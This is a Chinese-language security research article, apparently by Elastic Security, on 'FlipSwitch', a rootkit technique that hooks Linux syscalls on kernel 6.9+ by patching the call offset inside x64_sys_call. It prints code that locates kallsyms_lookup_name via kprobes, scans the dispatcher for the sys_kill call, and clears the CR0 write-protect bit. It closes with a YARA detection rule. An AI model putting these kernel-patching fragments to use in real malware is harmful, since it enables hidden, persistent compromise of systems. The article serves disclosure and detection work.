FlipSwitch:一种新颖的系统调用挂钩技术
系统调用挂钩,特别是通过覆盖指向系统调用处理程序的指针,一直是 Diamorphine 和 PUMAKIT 等 Linux rootkit 的基石,使它们能够隐藏自己的存在并控制信息流。虽然还有其他挂钩机制,如 ftrace 和 eBPF,但各有利弊,而且大多数都有某种形式的限制。函数指针覆盖仍然是内核中挂钩系统调用的最有效、最简单的方法。
然而,Linux 内核是一个不断变化的目标。每发布一个新版本,社区都会引入一些变化,这些变化可能会在一夜之间使整类恶意软件过时。这正是Linux 内核 6.9 发布时发生的情况,它对 x86-64 架构的系统调用分派机制进行了根本性的修改,有效地抵消了传统的系统调用挂钩方法。
围墙正在合拢经典钩球技术的消亡
要了解内核 6.9 中变化的意义,让我们先重温一下系统调用挂钩的经典方法。多年来,内核一直使用名为sys_call_table 的简单函数指针数组来调度系统调用。如内核源代码所示,逻辑非常简单:
// Pre-6.9: Direct array lookup
sys_call_table[__NR_kill](regs);
rootkit 可以在内存中找到这个表,禁用写保护,并用指向自己的对手控制函数的指针覆盖kill 或getdents64 等系统调用的地址。这样,rootkit 就能过滤ls 命令的输出,隐藏恶意文件或阻止特定进程被终止等。但这种机制的直接性也是它的弱点。在 Linux 内核 6.9 中,当直接数组查找被更高效、更安全的基于开关语句的分派机制取代后,游戏规则彻底改变了:
// Kernel 6.9+: Switch-statement dispatch
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
switch (nr) {
#include <asm/syscalls_64.h> // Expands to case statements
default: return __x64_sys_ni_syscall(regs);
}
}
这一变化看似微妙,但对传统的系统调用挂钩却是致命一击。为了与跟踪工具兼容,sys_call_table 仍然存在,但已不再用于实际调度系统调用。对它的任何修改都会被忽略。
另辟蹊径翻转开关技术
我们知道,内核仍然必须以某种方式调用原始的系统调用函数。逻辑仍然存在,只是隐藏在一层新的间接性后面。FlipSwitch 是一种绕过新开关语句实现的技术,它直接修补内核系统调用派发器的编译机器代码。
下面是其工作原理的详细介绍:
第一步是找到我们要挂钩的原始系统调用函数的地址。具有讽刺意味的是,现已停运的sys_call_table 正是实现这一目标的最佳工具。我们仍然可以在该表中查找sys_kill 的地址,以获得指向原始函数的可靠指针。
查找内核符号的常用方法是kallsyms_lookup_name 函数。该函数提供了一种编程方式,可根据任何导出内核符号的名称查找其地址。例如,我们可以使用kallsyms_lookup_name("sys_kill") 来获取sys_kill 函数的地址,从而提供了一种灵活可靠的方法来获取函数指针,即使sys_call_table 不能直接用于调度。
值得注意的是,kallsyms_lookup_name 通常不是默认导出的,这意味着可加载的内核模块无法直接访问它。这一限制增强了内核的安全性。不过,间接访问kallsyms_lookup_name 的常用技术是使用kprobe 。通过在一个已知的内核函数上放置kprobe ,模块就可以使用 kprobe 的内部结构推导出被探测函数的原始地址。由此,通常可以通过仔细分析内核的内存布局,如检查相对于被探测函数地址的附近内存区域,获得指向kallsyms_lookup_name 的函数指针。
/**
* Find the address of kallsyms_lookup_name using kprobes
* @return Pointer to kallsyms_lookup_name function or NULL on failure
*/
void *find_kallsyms_lookup_name(void)
{
struct kprobe *kp;
void *addr;
kp = kzalloc(sizeof(*kp), GFP_KERNEL);
if (!kp)
return NULL;
kp->symbol_name = O_STRING("kallsyms_lookup_name");
if (register_kprobe(kp) != 0) {
kfree(kp);
return NULL;
}
addr = kp->addr;
unregister_kprobe(kp);
kfree(kp);
return addr;
}
找到kallsyms_lookup_name 的地址后,我们就可以用它来查找指向我们需要的符号的指针,以继续放置钩子的过程。
有了目标地址,我们就可以把注意力转向x64_sys_call 函数,它是系统调用调度逻辑的新家。我们开始一个字节一个字节地扫描原始机器码,寻找调用指令。在 x86-64 上,调用指令有一个特定的单字节操作码:0xe8.该字节之后是一个 4 字节的相对偏移量,告诉 CPU 跳转到哪里。
这就是神奇的地方。我们不是在寻找任何呼叫指导。我们正在寻找一条调用指令,它与 4 字节偏移量相结合,直接指向我们之前找到的sys_kill 原始函数的地址。0xe8 操作码和特定偏移量的组合是x64_sys_call 函数中的唯一签名。只有一条指令符合这一模式。
/* Search for call instruction to sys_kill in x64_sys_call */
for (size_t i = 0; i < DUMP_SIZE - 4; ++i) {
if (func_ptr[i] == 0xe8) { /* Found a call instruction */
int32_t rel = *(int32_t *)(func_ptr + i + 1);
void *call_addr = (void *)((uintptr_t)x64_sys_call + i + 5 + rel);
if (call_addr == (void *)sys_call_table[__NR_kill]) {
debug_printk("Found call to sys_kill at offset %zu\n", i);
找到这条独特的指令后,我们就找到了插入点。但在修改内核代码之前,我们必须绕过内核的内存保护。由于我们已经在内核(0 环)中执行,因此可以使用一种经典而强大的技术:通过翻转CR0 寄存器中的一个位来禁用写保护。CR0 寄存器控制处理器的基本功能,其第 16 位(写保护)可防止 CPU 写入只读页面。通过暂时清除该位,我们就可以修改内核内存的任何部分。
/**
* Force write to CR0 register bypassing compiler optimizations
* @param val Value to write to CR0
*/
static inline void write_cr0_forced(unsigned long val)
{
unsigned long order;
asm volatile("mov %0, %%cr0"
: "+r"(val), "+m"(order));
}
/**
* Enable write protection (set WP bit in CR0)
*/
static inline void enable_write_protection(void)
{
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
write_cr0_forced(cr0);
}
/**
* Disable write protection (clear WP bit in CR0)
*/
static inline void disable_write_protection(void)
{
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
write_cr0_forced(cr0);
}
禁用写保护后,我们用一个指向我们自己的fake_kill 函数的新偏移量覆盖调用指令的 4 字节偏移量。实际上,我们已经在内核调度程序"内打开了开关" ,将一个系统调用重定向到我们的恶意代码,而系统的其他部分却没有受到影响。
这种技术既精确又可靠。更重要的是,当卸载内核模块时,所有更改都会完全恢复,不会留下任何痕迹。
FlipSwitch 的开发证明了攻击者和防御者之间正在进行的 "猫捉老鼠 "游戏。随着内核开发人员不断加固 Linux 内核,攻击者将继续寻找新的、创造性的方法来绕过这些防御。我们希望通过分享这一研究成果,帮助安全界领先一步。
检测恶意软件
一旦 rootkit 被加载到内核中,对其进行检测就异常困难,因为它们被设计为隐蔽运行,躲避安全工具的检测。不过,我们开发了一种 YARA 签名,用于识别 FlipSwitch 的概念验证。该签名可用于检测内存或磁盘中是否存在 FlipSwitch rootkit。
雅拉
Elastic Security 创建了 YARA 规则来识别这种活动。以下是识别 Flipswitch 概念验证的 YARA 规则。
rule Linux_Rootkit_Flipswitch_821f3c9e
{
meta:
author = "Elastic Security"
description = "Yara rule to detect the FlipSwitch rootkit PoC"
os = "Linux"
arch = "x86"
category_type = "Rootkit"
family = "Flipswitch"
threat_name = "Linux.Rootkit.Flipswitch"
strings:
$all_a = { FF FF 48 89 45 E8 F0 80 ?? ?? ?? 31 C0 48 89 45 F0 48 8B 45 E8 0F 22 C0 }
$obf_b = { BA AA 00 00 00 BE 0D 00 00 00 48 C7 ?? ?? ?? ?? ?? 49 89 C4 E8 }
$obf_c = { BA AA 00 00 00 BE 15 00 00 00 48 89 C3 E8 ?? ?? ?? ?? 48 89 DF 48 89 43 30 E8 ?? ?? ?? ?? 85 C0 74 0D 48 89 DF E8 }
$main_b = { 41 54 53 E8 ?? ?? ?? ?? 48 C7 C7 ?? ?? ?? ?? 49 89 C4 E8 ?? ?? ?? ?? 4D 85 E4 74 2D 48 89 C3 48 85 }
$main_c = { 48 85 C0 74 1F 48 C7 ?? ?? ?? ?? ?? ?? 48 89 C7 48 89 C3 E8 ?? ?? ?? ?? 85 C0 74 0D 48 89 DF E8 ?? ?? ?? ?? 45 31 E4 EB 14 }
$debug_b = { 48 89 E5 41 54 53 48 85 C0 0F 84 ?? ?? 00 00 48 C7 }
$debug_c = { 48 85 C0 74 45 48 C7 ?? ?? ?? ?? ?? ?? 48 89 C7 48 89 C3 E8 ?? ?? ?? ?? 85 C0 75 26 48 89 DF 4C 8B 63 28 E8 ?? ?? ?? ?? 48 89 DF E8 }
condition:
#all_a>=2 and (1 of ($obf_*) or 1 of ($main_*) or 1 of ($debug_*))
}
参考资料
上述研究参考了以下内容:
